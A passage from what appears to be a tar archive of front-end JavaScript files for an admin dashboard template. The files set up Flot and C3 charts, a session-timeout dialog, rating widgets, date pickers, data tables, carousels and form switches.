0.3, align: 'center', horizontal: false }, points: { show: false }, }], options); $.plot($("#pbc-2"), [{ data: [ [0, 20], [1, 24], [2, 20], [3, 15], [4, 27], [5, 10], [6, 18], [7, 22], [8, 15] ], color: "#FF5370", bars: { show: true, lineWidth: 1, fill: true, fillColor: { colors: [{ opacity: 0.7 }, { opacity: 0.7 }] }, barWidth: 0.3, align: 'center', horizontal: false }, points: { show: false }, }], options); $.plot($("#pbc-3"), [{ data: [ [0, 8], [1, 10], [2, 20], [3, 10], [4, 27], [5, 15], [6, 20], [7, 12], [8, 6] ], color: "#4099ff", bars: { show: true, lineWidth: 1, fill: true, fillColor: { colors: [{ opacity: 0.7 }, { opacity: 0.7 }] }, barWidth: 0.3, align: 'center', horizontal: false }, points: { show: false }, }], options); $.plot($("#pbc-4"), [{ data: [ [0, 20], [1, 24], [2, 20], [3, 15], [4, 27], [5, 10], [6, 18], [7, 22], [8, 15] ], color: "#2ed8b6", bars: { show: true, lineWidth: 1, fill: true, fillColor: { colors: [{ opacity: 0.7 }, { opacity: 0.7 }] }, barWidth: 0.3, align: 'center', horizontal: false }, points: { show: false }, }], options); $.plot($("#pbc-5"), [{ data: [ [0, 20], [1, 24], [2, 20], [3, 15], [4, 27], [5, 10], [6, 18], [7, 22], [8, 15] ], color: "#FF5370", bars: { show: true, lineWidth: 1, fill: true, fillColor: { colors: [{ opacity: 0.7 }, { opacity: 0.7 }] }, barWidth: 0.3, align: 'center', horizontal: false }, points: { show: false }, }], options); $.plot($("#pbc-6"), [{ data: [ [0, 20], [1, 24], [2, 20], [3, 15], [4, 27], [5, 10], [6, 18], [7, 22], [8, 15] ], color: "#FF5370", bars: { show: true, lineWidth: 1, fill: true, fillColor: { colors: [{ opacity: 0.7 }, { opacity: 0.7 }] }, barWidth: 0.3, align: 'center', horizontal: false }, points: { show: false }, }], options); //real-time update $(function() { // We use an inline data source in the example, usually data would // be fetched from a server var data = [], totalPoints = 300; function getRandomData() { if (data.length > 0) data = data.slice(1); // Do a random walk while (data.length < totalPoints) { var prev = data.length > 0 ? data[data.length - 1] : 50, y = prev + Math.random() * 10 - 5; if (y < 0) { y = 0; } else if (y > 100) { y = 100; } data.push(y); } // Zip the generated y values with the x values var res = []; for (var i = 0; i < data.length; ++i) { res.push([i, data[i]]) } return res; } // Set up the control widget var updateInterval = 30; $("#updateInterval").val(updateInterval).change(function() { var v = $(this).val(); if (v && !isNaN(+v)) { updateInterval = +v; if (updateInterval < 1) { updateInterval = 1; } else if (updateInterval > 2000) { updateInterval = 2000; } $(this).val("" + updateInterval); } }); var plot = $.plot("#realtime-profit", [getRandomData()], { lines: { show: true, fill: true, lineWidth: 1, borderWidth: 0, }, shadowSize: 5, highlightColor: "rgba(0,0,0,0.5)", points: { show: true, radius: 0, fill: true, fillColor: '#fff' }, curvedLines: { apply: false, }, legend: { show: false }, series: { label: "", color: "#2ed8b6", curvedLines: { active: true, nrSplinePoints: 20 }, }, tooltip: { show: true, content: "x : %x | y : %y" }, grid: { hoverable: true, borderWidth: 0, minBorderMargin: 0, }, yaxis: { min: 0, max: 100, }, xaxis: { font: { size: 0, } } }); function update() { plot.setData([getRandomData()]); // Since the axes don't change, we don't need to call plot.setupGrid() plot.draw(); setTimeout(update, updateInterval); } update(); }); $(function() { // sale start $.plot($("#sec-ecommerce-chart-line"), [{ data: [ [0, 18], [1, 10], [2, 20], [3, 10], [4, 27], [5, 15], [6, 20], [7, 24], [8, 20], [9, 16], [10, 18], [11, 10], [12, 20], [13, 10], [14, 27], ], color: "#fff", lines: { show: true, fill: false, lineWidth: 2 }, points: { show: true, radius: 3, fill: true, fillColor: '#fff' }, curvedLines: { apply: false, } }], options); $.plot($("#sec-ecommerce-chart-bar"), [{ data: [ [0, 18], [1, 10], [2, 20], [3, 10], [4, 27], [5, 15], [6, 20], [7, 24], [8, 20], [9, 16], [10, 18], [11, 10], [12, 20], [13, 10], [14, 27], ], color: "#5ffddd", bars: { show: true, lineWidth: 1, fill: true, fillColor: { colors: [{ opacity: 1 }, { opacity: 1 }] }, barWidth: 0.6, align: 'center', horizontal: false }, points: { show: false }, }], options); }); // sale Income start $.plot($("#sal-income"), [{ data: [ [0, 25], [1, 15], [2, 20], [3, 27], [4, 10], [5, 20], [6, 10], [7, 26], [8, 20], [9, 10], [10, 25], [11, 27], [12, 12], [13, 26], ], color: "#4099ff", lines: { show: true, fill: true, lineWidth: 3 }, points: { show: false, }, curvedLines: { apply: true, } }], options); $.plot($("#rent-income"), [{ data: [ [0, 25], [1, 15], [2, 25], [3, 27], [4, 10], [5, 20], [6, 15], [7, 26], [8, 20], [9, 13], [10, 25], [11, 27], [12, 12], [13, 1], ], color: "#2ed8b6", lines: { show: true, fill: true, lineWidth: 3 }, points: { show: false, }, curvedLines: { apply: true, } }], options); $.plot($("#income-analysis"), [{ data: [ [0, 25], [1, 30], [2, 25], [3, 27], [4, 10], [5, 20], [6, 15], [7, 26], [8, 10], [9, 13], [10, 25], [11, 27], [12, 12], [13, 27], ], color: "#FF5370", lines: { show: true, fill: true, lineWidth: 3 }, points: { show: false, }, curvedLines: { apply: true, } }], options); $(window).on('resize',function() { $(".dial").knob({ draw: function() { // "tron" case if (this.$.data('skin') == 'tron') { this.cursorExt = 0.3; var a = this.arc(this.cv) // Arc , pa // Previous arc , r = 1; this.g.lineWidth = this.lineWidth; if (this.o.displayPrevious) { pa = this.arc(this.v); this.g.beginPath(); this.g.strokeStyle = this.pColor; this.g.arc(this.xy, this.xy, this.radius - this.lineWidth, pa.s, pa.e, pa.d); this.g.stroke(); } this.g.beginPath(); this.g.strokeStyle = r ? this.o.fgColor : this.fgColor; this.g.arc(this.xy, this.xy, this.radius - this.lineWidth, a.s, a.e, a.d); this.g.stroke(); this.g.lineWidth = 2; this.g.beginPath(); this.g.strokeStyle = this.o.fgColor; this.g.arc(this.xy, this.xy, this.radius - this.lineWidth + 1 + this.lineWidth * 2 / 3, 0, 2 * Math.PI, false); this.g.stroke(); return false; } } }); }); $(document).ready(function() { /*× Overloaded 'draw' method*/ $(".dial").knob({ draw: function() { // "tron" case if (this.$.data('skin') == 'tron') { this.cursorExt = 0.3; var a = this.arc(this.cv) // Arc , pa // Previous arc , r = 1; this.g.lineWidth = this.lineWidth; if (this.o.displayPrevious) { pa = this.arc(this.v); this.g.beginPath(); this.g.strokeStyle = this.pColor; this.g.arc(this.xy, this.xy, this.radius - this.lineWidth, pa.s, pa.e, pa.d); this.g.stroke(); } this.g.beginPath(); this.g.strokeStyle = r ? this.o.fgColor : this.fgColor; this.g.arc(this.xy, this.xy, this.radius - this.lineWidth, a.s, a.e, a.d); this.g.stroke(); this.g.lineWidth = 2; this.g.beginPath(); this.g.strokeStyle = this.o.fgColor; this.g.arc(this.xy, this.xy, this.radius - this.lineWidth + 1 + this.lineWidth * 2 / 3, 0, 2 * Math.PI, false); this.g.stroke(); return false; } } }); }); } taskboard.js 0000644 00000000745 15167670232 0007073 0 ustar 00 $(function () { $('.dd').nestable(); $('.dd').on('change', function () { var $this = $(this); var serializedData = window.JSON.stringify($($this).nestable('serialize')); $this.parents('div.body').find('textarea').val(serializedData); }); $('.dd4').nestable(); $('.dd4').on('change', function () { var $this = $(this); var serializedData = window.JSON.stringify($($this).nestable('serialize')); }); }); session-time-out.js 0000644 00000013427 15167670232 0010346 0 ustar 00 'use strict'; ! function(e) { "use strict"; e.sessionTimeout = function(t) { function o() { f || (e.ajax({ type: d.ajaxType, url: d.keepAliveUrl, data: d.ajaxData }), f = !0, setTimeout(function() { f = !1 }, d.keepAliveInterval)) } function i() { clearTimeout(a), (d.countdownMessage || d.countdownBar) && s("session", !0), "function" == typeof d.onStart && d.onStart(d), d.keepAlive && o(), a = setTimeout(function() { "function" != typeof d.onWarn ? e("#session-timeout-dialog").modal("show") : d.onWarn(d), n() }, d.warnAfter) } function n() { clearTimeout(a), e("#session-timeout-dialog").hasClass("in") || !d.countdownMessage && !d.countdownBar || s("dialog", !0), a = setTimeout(function() { "function" != typeof d.onRedir ? window.location = d.redirUrl : d.onRedir(d) }, d.redirAfter - d.warnAfter) } function s(t, o) { clearTimeout(l.timer), "dialog" === t && o ? l.timeLeft = Math.floor((d.redirAfter - d.warnAfter) / 1e3) : "session" === t && o && (l.timeLeft = Math.floor(d.redirAfter / 1e3)), d.countdownBar && "dialog" === t ? l.percentLeft = Math.floor(l.timeLeft / ((d.redirAfter - d.warnAfter) / 1e3) * 100) : d.countdownBar && "session" === t && (l.percentLeft = Math.floor(l.timeLeft / (d.redirAfter / 1e3) * 100)); var i = e(".countdown-holder"), n = l.timeLeft >= 0 ? l.timeLeft : 0; if (d.countdownSmart) { var a = Math.floor(n / 60), r = n % 60, u = a > 0 ? a + "m" : ""; u.length > 0 && (u += " "), u += r + "s", i.text(u) } else i.text(n + "s"); d.countdownBar && e(".countdown-bar").css("width", l.percentLeft + "%"), l.timeLeft = l.timeLeft - 1, l.timer = setTimeout(function() { s(t) }, 1e3) } var a, r = { title: "Your Session is About to Expire!", message: "Your session is about to expire.", logoutButton: "Logout", keepAliveButton: "Stay Connected", keepAliveUrl: "pages/ui/session-timeout.html", ajaxType: "POST", ajaxData: "", redirUrl: "/timed-out", logoutUrl: "/log-out", warnAfter: 9e5, redirAfter: 12e5, keepAliveInterval: 5e3, keepAlive: !0, ignoreUserActivity: !1, onStart: !1, onWarn: !1, onRedir: !1, countdownMessage: !1, countdownBar: !1, countdownSmart: !1 }, d = r, l = {}; if (t && (d = e.extend(r, t)), d.warnAfter >= d.redirAfter) return console.error('Bootstrap-session-timeout plugin is miss-configured. Option "redirAfter" must be equal or greater than "warnAfter".'), !1; if ("function" != typeof d.onWarn) { var u = d.countdownMessage ? "<p>" + d.countdownMessage.replace(/{timer}/g, '<span class="countdown-holder"></span>') + "</p>" : "", c = d.countdownBar ? '<div class="progress progress-lg"> <div class="progress-bar progress-bar-success countdown-bar active" role="progressbar" style="min-width: 15px; width: 100%;"> <span class="countdown-holder"></span> </div> </div>' : ""; e("body").append('<div class="modal fade" id="session-timeout-dialog"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <h4 class="modal-title">' + d.title + '</h4> <button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button> </div> <div class="modal-body"> <p>' + d.message + "</p> " + u + " " + c + ' </div> <div class="modal-footer"> <button id="session-timeout-dialog-logout" type="button" class="btn btn-default">' + d.logoutButton + '</button> <button id="session-timeout-dialog-keepalive" type="button" class="btn btn-primary" data-dismiss="modal">' + d.keepAliveButton + "</button> </div> </div> </div> </div>"), e("#session-timeout-dialog-logout").on("click", function() { window.location = d.logoutUrl }), e("#session-timeout-dialog").on("hide.bs.modal", function() { i() }) } if (!d.ignoreUserActivity) { var m = [-1, -1]; e(document).on("keyup mouseup mousemove touchend touchmove", function(t) { if ("mousemove" === t.type) { if (t.clientX === m[0] && t.clientY === m[1]) return; m[0] = t.clientX, m[1] = t.clientY } i(), e("#session-timeout-dialog").length > 0 && e("#session-timeout-dialog").data("bs.modal") && e("#session-timeout-dialog").data("bs.modal").isShown && (e("#session-timeout-dialog").modal("hide"), e("body").removeClass("modal-open"), e("div.modal-backdrop").remove()) }) } var f = !1; i() } }(jQuery); $(document).ready(function() { $.sessionTimeout({ warnAfter: 3000, redirAfter: 300000, message: 'Your session is expiring soon.', logoutUrl: 'session-timeout.html' }); }); rating.js 0000644 00000007160 15167670232 0006403 0 ustar 00 "use strict"; $(document).ready(function() { function ratingEnable() { $('#example-1to10').barrating('show', { theme: 'bars-1to10', }); $('#example-movie').barrating('show', { theme: 'bars-movie' }); $('#example-movie').barrating('set', 'Mediocre'); $('#example-square').barrating('show', { theme: 'bars-square', showValues: true, showSelectedRating: false }); $('#example-pill').barrating('show', { theme: 'bars-pill', initialRating: 'A', showValues: true, showSelectedRating: false, allowEmpty: true, emptyValue: '-- no rating selected --', onSelect: function(value, text) { alert('Selected rating: ' + value); } }); $('#example-reversed').barrating('show', { theme: 'bars-reversed', showSelectedRating: true, reverse: true }); $('#example-horizontal').barrating('show', { theme: 'bars-horizontal', reverse: true, hoverState: false }); $('#example-fontawesome').barrating({ theme: 'fontawesome-stars', showSelectedRating: false }); $('.rating-star').barrating({ theme: 'css-stars', showSelectedRating: false }); $('#example-bootstrap').barrating({ theme: 'bootstrap-stars', showSelectedRating: false }); var currentRating = $('#example-fontawesome-o').data('current-rating'); $('.stars-example-fontawesome-o .current-rating') .find('span') .html(currentRating); $('.stars-example-fontawesome-o .clear-rating').on('click', function(event) { event.preventDefault(); $('#example-fontawesome-o') .barrating('clear'); }); $('#example-fontawesome-o').barrating({ theme: 'fontawesome-stars-o', showSelectedRating: false, initialRating: currentRating, onSelect: function(value, text) { if (!value) { $('#example-fontawesome-o') .barrating('clear'); } else { $('.stars-example-fontawesome-o .current-rating') .addClass('hidden'); $('.stars-example-fontawesome-o .your-rating') .removeClass('hidden') .find('span') .html(value); } }, onClear: function(value, text) { $('.stars-example-fontawesome-o') .find('.current-rating') .removeClass('hidden') .end() .find('.your-rating') .addClass('hidden'); } }); } function ratingDisable() { $('select').barrating('destroy'); } $('.rating-enable').on('click',function(event) { event.preventDefault(); ratingEnable(); $(this).addClass('deactivated'); $('.rating-disable').removeClass('deactivated'); }); $('.rating-disable').on('click',function(event) { event.preventDefault(); ratingDisable(); $(this).addClass('deactivated'); $('.rating-enable').removeClass('deactivated'); }); ratingEnable(); }); widgets.js 0000644 00000003553 15167670232 0006567 0 ustar 00 $(function() { 'use strict'; jQuery('#visitfromworld').vectorMap({ map: 'world_mill_en', backgroundColor: 'transparent', borderColor: '#000', borderOpacity: 0, borderWidth: 0, zoomOnScroll: false, color: '#93d5ed', regionStyle: { initial: { fill: '#bce2fb', 'stroke-width': 1, stroke: '#fff' } }, markerStyle: { initial: { r: 5, fill: '#93d5ed', 'fill-opacity': 1, stroke: '#93d5ed', 'stroke-width': 1, 'stroke-opacity': 1 } }, enableZoom: true, hoverColor: '#79e580', markers: [ { latLng: [21.0, 78.0], name: 'India : 9347', style: { fill: '#2961ff' } }, { latLng: [-33.0, 151.0], name: 'Australia : 250', style: { fill: '#ff821c' } }, { latLng: [36.77, -119.41], name: 'USA : 250', style: { fill: '#40c4ff' } }, { latLng: [55.37, -3.41], name: 'UK : 250', style: { fill: '#398bf7' } }, { latLng: [25.2, 55.27], name: 'UAE : 250', style: { fill: '#6fc826' } } ], hoverOpacity: null, normalizeFunction: 'linear', scaleColors: ['#93d5ed', '#93d5ee'], selectedColor: '#c9dfaf', selectedRegions: [], showTooltip: true, onRegionClick: function(element, code, region) { var message = 'You clicked "' + region + '" which has the code: ' + code.toUpperCase(); alert(message); } }); $('#datepickerwidget').datetimepicker({ inline: true, format: 'L' }); var ps = new PerfectScrollbar(".scrollable", { wheelSpeed: 10, wheelPropagation: true, minScrollbarLength: 5 }); }); form-picker.js 0000644 00000011627 15167670232 0007340 0 ustar 00 (function($) { 'use strict'; $(document).ready(function() { $("#dropper-default").dateDropper({ dropWidth: 200, dropPrimaryColor: "#1abc9c", dropBorder: "1px solid #1abc9c" }), $("#dropper-animation").dateDropper({ dropWidth: 200, init_animation: "bounce", dropPrimaryColor: "#1abc9c", dropBorder: "1px solid #1abc9c" }), $("#dropper-format").dateDropper({ dropWidth: 200, format: "F S, Y", dropPrimaryColor: "#1abc9c", dropBorder: "1px solid #1abc9c" }), $("#dropper-lang").dateDropper({ dropWidth: 200, format: "F S, Y", dropPrimaryColor: "#1abc9c", dropBorder: "1px solid #1abc9c", lang: "ar" }), $("#dropper-lock").dateDropper({ dropWidth: 200, format: "F S, Y", dropPrimaryColor: "#1abc9c", dropBorder: "1px solid #1abc9c", lock: "from" }), $("#dropper-max-year").dateDropper({ dropWidth: 200, dropPrimaryColor: "#1abc9c", dropBorder: "1px solid #1abc9c", maxYear: "2020" }), $("#dropper-min-year").dateDropper({ dropWidth: 200, dropPrimaryColor: "#1abc9c", dropBorder: "1px solid #1abc9c", minYear: "1990" }), $("#year-range").dateDropper({ dropWidth: 200, dropPrimaryColor: "#1abc9c", dropBorder: "1px solid #1abc9c", yearsRange: "5" }), $("#dropper-width").dateDropper({ dropPrimaryColor: "#1abc9c", dropBorder: "1px solid #1abc9c", dropWidth: 500 }), $("#dropper-dangercolor").dateDropper({ dropWidth: 200, dropPrimaryColor: "#e74c3c", dropBorder: "1px solid #e74c3c", }), $("#dropper-backcolor").dateDropper({ dropWidth: 200, dropPrimaryColor: "#1abc9c", dropBorder: "1px solid #1abc9c", dropBackgroundColor: "#bdc3c7" }), $("#dropper-txtcolor").dateDropper({ dropWidth: 200, dropPrimaryColor: "#46627f", dropBorder: "1px solid #46627f", dropTextColor: "#FFF", dropBackgroundColor: "#e74c3c" }), $("#dropper-radius").dateDropper({ dropWidth: 200, dropPrimaryColor: "#1abc9c", dropBorder: "1px solid #1abc9c", dropBorderRadius: "0" }), $("#dropper-border").dateDropper({ dropWidth: 200, dropPrimaryColor: "#1abc9c", dropBorder: "2px solid #1abc9c" }), $("#dropper-shadow").dateDropper({ dropWidth: 200, dropPrimaryColor: "#1abc9c", dropBorder: "1px solid #1abc9c", dropBorderRadius: "20px", dropShadow: "0 0 20px 0 rgba(26, 188, 156, 0.6)" }), $('#inlinedatetimepicker').datetimepicker({ inline: true, sideBySide: true }); $('#datepicker').datetimepicker({ format: 'L' }); $('#timepicker').datetimepicker({ format: 'LT' }); $('.demo').each( function() { // // Dear reader, it's actually very easy to initialize MiniColors. For example: // // $(selector).minicolors(); // // The way I've done it below is just for the demo, so don't get confused // by it. Also, data- attributes aren't supported at this time...they're // only used for this demo. // $(this).minicolors({ control: $(this).attr('data-control') || 'hue', defaultValue: $(this).attr('data-defaultValue') || '', format: $(this).attr('data-format') || 'hex', keywords: $(this).attr('data-keywords') || '', inline: $(this).attr('data-inline') === 'true', letterCase: $(this).attr('data-letterCase') || 'lowercase', opacity: $(this).attr('data-opacity'), position: $(this).attr('data-position') || 'bottom left', swatches: $(this).attr('data-swatches') ? $(this).attr('data-swatches').split('|') : [], change: function(value, opacity) { if( !value ) return; if( opacity ) value += ', ' + opacity; if( typeof console === 'object' ) { console.log(value); } }, theme: 'bootstrap' }); }); }) })(jQuery); tables.js 0000644 00000002347 15167670232 0006373 0 ustar 00 function filterGlobal () { $('#advanced_table').DataTable().search( $('#global_filter').val() ).draw(); } function filterColumn ( i ) { $('#advanced_table').DataTable().column( i ).search( $('#col'+i+'_filter').val() ).draw(); } $(document).ready(function() { var table = $('#data_table').DataTable({ responsive: true, select: true, 'aoColumnDefs': [{ 'bSortable': false, 'aTargets': ['nosort'] }] }); $('#data_table tbody').on( 'click', 'tr', function() { if ( $(this).hasClass('selected') ) { $(this).removeClass('selected'); } else { table.$('tr.selected').removeClass('selected'); $(this).addClass('selected'); } }); $("#advanced_table").DataTable({ responsive: true, select: true, 'aoColumnDefs': [{ 'bSortable': false, 'aTargets': ['nosort'] }] }); $('input.global_filter').on( 'keyup click', function () { filterGlobal(); }); $('input.column_filter').on( 'keyup click', function () { filterColumn( $(this).attr('data-column') ); }); }); carousel.js 0000644 00000002504 15167670232 0006731 0 ustar 00 $(document).ready(function() { $().owlCarousel && ($(".owl-carousel.basic").length > 0 && $(".owl-carousel.basic").owlCarousel({ margin: 30, stagePadding: 15, dotsContainer: $(".owl-carousel.basic").parents(".owl-container").find(".slider-dot-container"), responsive: { 0: { items: 1 }, 600: { items: 2 }, 1000: { items: 3 } } }).data("owl.carousel").onResize(), $(".owl-carousel.single").length > 0 && $(".owl-carousel.single").owlCarousel({ margin: 30, items: 1, loop: !0, stagePadding: 15, dotsContainer: $(".owl-carousel.single").parents(".owl-container").find(".slider-dot-container") }).data("owl.carousel").onResize(), $(".owl-dot").click(function() { $($(this).parents(".owl-container").find(".owl-carousel")).owlCarousel().trigger("to.owl.carousel", [$(this).index(), 300]) }), $(".owl-prev").click(function(e) { e.preventDefault(), $($(this).parents(".owl-container").find(".owl-carousel")).owlCarousel().trigger("prev.owl.carousel", [300]) }), $(".owl-next").click(function(e) { e.preventDefault(), $($(this).parents(".owl-container").find(".owl-carousel")).owlCarousel().trigger("next.owl.carousel", [300]) })); }); charts.js 0000644 00000013537 15167670232 0006410 0 ustar 00 (function($) { 'use strict'; var c3LineChart = c3.generate({ bindto: '#c3-line-chart', data: { columns: [ ['data1', 30, 200, 100, 400, 150, 250], ['data2', 50, 20, 10, 40, 15, 25] ] }, color: { pattern: ['rgba(88,216,163,1)', 'rgba(237,28,36,0.6)', 'rgba(4,189,254,0.6)'] }, padding: { top: 0, right: 0, bottom: 30, left: 0, } }); setTimeout(function() { c3LineChart.load({ columns: [ ['data1', 230, 190, 300, 500, 300, 400] ] }); }, 1000); setTimeout(function() { c3LineChart.load({ columns: [ ['data3', 130, 150, 200, 300, 200, 100] ] }); }, 1500); setTimeout(function() { c3LineChart.unload({ ids: 'data1' }); }, 2000); var c3SplineChart = c3.generate({ bindto: '#c3-spline-chart', data: { columns: [ ['data1', 30, 200, 100, 400, 150, 250], ['data2', 130, 100, 140, 200, 150, 50] ], type: 'spline' }, color: { pattern: ['rgba(88,216,163,1)', 'rgba(237,28,36,0.6)', 'rgba(4,189,254,0.6)'] }, padding: { top: 0, right: 0, bottom: 30, left: 0, } }); var c3BarChart = c3.generate({ bindto: '#c3-bar-chart', data: { columns: [ ['data1', 30, 200, 100, 400, 150, 250], ['data2', 130, 100, 140, 200, 150, 50] ], type: 'bar' }, color: { pattern: ['rgba(88,216,163,1)', 'rgba(4,189,254,0.6)', 'rgba(237,28,36,0.6)'] }, padding: { top: 0, right: 0, bottom: 30, left: 0, }, bar: { width: { ratio: 0.7 // this makes bar width 50% of length between ticks } } }); setTimeout(function() { c3BarChart.load({ columns: [ ['data3', 130, -150, 200, 300, -200, 100] ] }); }, 1000); var c3StepChart = c3.generate({ bindto: '#c3-step-chart', data: { columns: [ ['data1', 300, 350, 300, 0, 0, 100], ['data2', 130, 100, 140, 200, 150, 50] ], types: { data1: 'step', data2: 'area-step' } }, color: { pattern: ['rgba(88,216,163,1)', 'rgba(4,189,254,0.6)', 'rgba(237,28,36,0.6)'] }, padding: { top: 0, right: 0, bottom: 30, left: 0, } }); var c3PieChart = c3.generate({ bindto: '#c3-pie-chart', data: { // iris data from R columns: [ ['data1', 30], ['data2', 120], ], type: 'pie', onclick: function(d, i) { console.log("onclick", d, i); }, onmouseover: function(d, i) { console.log("onmouseover", d, i); }, onmouseout: function(d, i) { console.log("onmouseout", d, i); } }, color: { pattern: ['#6153F9', '#8E97FC', '#A7B3FD'] }, padding: { top: 0, right: 0, bottom: 30, left: 0, } }); setTimeout(function() { c3PieChart.load({ columns: [ ["Income", 0.2, 0.2, 0.2, 0.2, 0.2, 0.4, 0.3, 0.2, 0.2, 0.1, 0.2, 0.2, 0.1, 0.1, 0.2, 0.4, 0.4, 0.3, 0.3, 0.3, 0.2, 0.4, 0.2, 0.5, 0.2, 0.2, 0.4, 0.2, 0.2, 0.2, 0.2, 0.4, 0.1, 0.2, 0.2, 0.2, 0.2, 0.1, 0.2, 0.2, 0.3, 0.3, 0.2, 0.6, 0.4, 0.3, 0.2, 0.2, 0.2, 0.2], ["Outcome", 1.4, 1.5, 1.5, 1.3, 1.5, 1.3, 1.6, 1.0, 1.3, 1.4, 1.0, 1.5, 1.0, 1.4, 1.3, 1.4, 1.5, 1.0, 1.5, 1.1, 1.8, 1.3, 1.5, 1.2, 1.3, 1.4, 1.4, 1.7, 1.5, 1.0, 1.1, 1.0, 1.2, 1.6, 1.5, 1.6, 1.5, 1.3, 1.3, 1.3, 1.2, 1.4, 1.2, 1.0, 1.3, 1.2, 1.3, 1.3, 1.1, 1.3], ["Revenue", 2.5, 1.9, 2.1, 1.8, 2.2, 2.1, 1.7, 1.8, 1.8, 2.5, 2.0, 1.9, 2.1, 2.0, 2.4, 2.3, 1.8, 2.2, 2.3, 1.5, 2.3, 2.0, 2.0, 1.8, 2.1, 1.8, 1.8, 1.8, 2.1, 1.6, 1.9, 2.0, 2.2, 1.5, 1.4, 2.3, 2.4, 1.8, 1.8, 2.1, 2.4, 2.3, 1.9, 2.3, 2.5, 2.3, 1.9, 2.0, 2.3, 1.8], ] }); }, 1500); setTimeout(function() { c3PieChart.unload({ ids: 'data1' }); c3PieChart.unload({ ids: 'data2' }); }, 2500); var c3DonutChart = c3.generate({ bindto: '#c3-donut-chart', data: { columns: [ ['data1', 30], ['data2', 120], ], type: 'donut', onclick: function(d, i) { console.log("onclick", d, i); }, onmouseover: function(d, i) { console.log("onmouseover", d, i); }, onmouseout: function(d, i) { console.log("onmouseout", d, i); } }, color: { pattern: ['rgba(88,216,163,1)', 'rgba(4,189,254,0.6)', 'rgba(237,28,36,0.6)'] }, padding: { top: 0, right: 0, bottom: 30, left: 0, }, donut: { title: "Iris Petal Width" } }); setTimeout(function() { c3DonutChart.load({ columns: [ ["setosa", 0.2, 0.2, 0.2, 0.2, 0.2, 0.4, 0.3, 0.2, 0.2, 0.1, 0.2, 0.2, 0.1, 0.1, 0.2, 0.4, 0.4, 0.3, 0.3, 0.3, 0.2, 0.4, 0.2, 0.5, 0.2, 0.2, 0.4, 0.2, 0.2, 0.2, 0.2, 0.4, 0.1, 0.2, 0.2, 0.2, 0.2, 0.1, 0.2, 0.2, 0.3, 0.3, 0.2, 0.6, 0.4, 0.3, 0.2, 0.2, 0.2, 0.2], ["versicolor", 1.4, 1.5, 1.5, 1.3, 1.5, 1.3, 1.6, 1.0, 1.3, 1.4, 1.0, 1.5, 1.0, 1.4, 1.3, 1.4, 1.5, 1.0, 1.5, 1.1, 1.8, 1.3, 1.5, 1.2, 1.3, 1.4, 1.4, 1.7, 1.5, 1.0, 1.1, 1.0, 1.2, 1.6, 1.5, 1.6, 1.5, 1.3, 1.3, 1.3, 1.2, 1.4, 1.2, 1.0, 1.3, 1.2, 1.3, 1.3, 1.1, 1.3], ["virginica", 2.5, 1.9, 2.1, 1.8, 2.2, 2.1, 1.7, 1.8, 1.8, 2.5, 2.0, 1.9, 2.1, 2.0, 2.4, 2.3, 1.8, 2.2, 2.3, 1.5, 2.3, 2.0, 2.0, 1.8, 2.1, 1.8, 1.8, 1.8, 2.1, 1.6, 1.9, 2.0, 2.2, 1.5, 1.4, 2.3, 2.4, 1.8, 1.8, 2.1, 2.4, 2.3, 1.9, 2.3, 2.5, 2.3, 1.9, 2.0, 2.3, 1.8], ] }); }, 1500); setTimeout(function() { c3DonutChart.unload({ ids: 'data1' }); c3DonutChart.unload({ ids: 'data2' }); }, 2500); })(jQuery); form-advanced.js 0000644 00000010431 15167670232 0007620 0 ustar 00 "use strict"; $(document).ready(function() { // Single swithces var elemsingle = document.querySelector('.js-single'); var switchery = new Switchery(elemsingle, { color: '#4099ff', jackColor: '#fff' }); // Multiple swithces var elem = Array.prototype.slice.call(document.querySelectorAll('.js-switch')); elem.forEach(function(html) { var switchery = new Switchery(html, { color: '#4099ff', jackColor: '#fff' }); }); // Disable enable swithces var elemstate = document.querySelector('.js-dynamic-state'); var switcheryy = new Switchery(elemstate, { color: '#4099ff', jackColor: '#fff' }); document.querySelector('.js-dynamic-disable').addEventListener('click', function() { switcheryy.disable(); }); document.querySelector('.js-dynamic-enable').addEventListener('click', function() { switcheryy.enable(); }); // Color Swithces var elemdefault = document.querySelector('.js-default'); var switchery = new Switchery(elemdefault, { color: '#d6d6d6', jackColor: '#fff' }); var elemprimary = document.querySelector('.js-primary'); var switchery = new Switchery(elemprimary, { color: '#4099ff', jackColor: '#fff' }); var elemprimary = document.querySelector('.js-success'); var switchery = new Switchery(elemprimary, { color: '#2ed8b6', jackColor: '#fff' }); var elemprimary = document.querySelector('.js-info'); var switchery = new Switchery(elemprimary, { color: '#4099ff', jackColor: '#fff' }); var elemprimary = document.querySelector('.js-warning'); var switchery = new Switchery(elemprimary, { color: '#FFB64D', jackColor: '#fff' }); var elemprimary = document.querySelector('.js-danger'); var switchery = new Switchery(elemprimary, { color: '#FF5370', jackColor: '#fff' }); var elemprimary = document.querySelector('.js-inverse'); var switchery = new Switchery(elemprimary, { color: '#222', jackColor: '#fff' }); // Switch sizes var elemlarge = document.querySelector('.js-large'); var switchery = new Switchery(elemlarge, { color: '#4099ff', jackColor: '#fff', size: 'large' }); var elemmedium = document.querySelector('.js-medium'); var switchery = new Switchery(elemmedium, { color: '#4099ff', jackColor: '#fff', size: 'medium' }); var elemsmall = document.querySelector('.js-small'); var switchery = new Switchery(elemsmall, { color: '#4099ff', jackColor: '#fff', size: 'small' }); $('#tags').tagsinput('items'); $('.repeater').repeater({ // (Optional) // "defaultValues" sets the values of added items. The keys of // defaultValues refer to the value of the input's name attribute. // If a default value is not specified for an input, then it will // have its value cleared. defaultValues: { 'text-input': 'foo' }, // (Optional) // "show" is called just after an item is added. The item is hidden // at this point. If a show callback is not given the item will // have $(this).show() called on it. show: function() { $(this).slideDown(); }, // (Optional) // "hide" is called when a user clicks on a data-repeater-delete // element. The item is still visible. "hide" is passed a function // as its first argument which will properly remove the item. // "hide" allows for a confirmation step, to send a delete request // to the server, etc. If a hide callback is not given the item // will be deleted. hide: function(deleteElement) { if (confirm('Are you sure you want to delete this element?')) { $(this).slideUp(deleteElement); } }, // (Optional) // Removes the delete button from the first list item, // defaults to false. isFirstItemUndeletable: true }); $(".select2").select2(); $('.html-editor').summernote({ height: 300, tabsize: 2 }); }); datatables.js 0000644 00000056264 15167670232 0007234 0 ustar 00 $(document).ready(function() { var table = $('#data_table').DataTable({ responsive: true, select: true, 'aoColumnDefs': [{ 'bSortable': false, 'aTargets': ['nosort'] }] }); $('#data_table tbody').on( 'click', 'tr', function() { if ( $(this).hasClass('selected') ) { $(this).removeClass('selected'); } else { 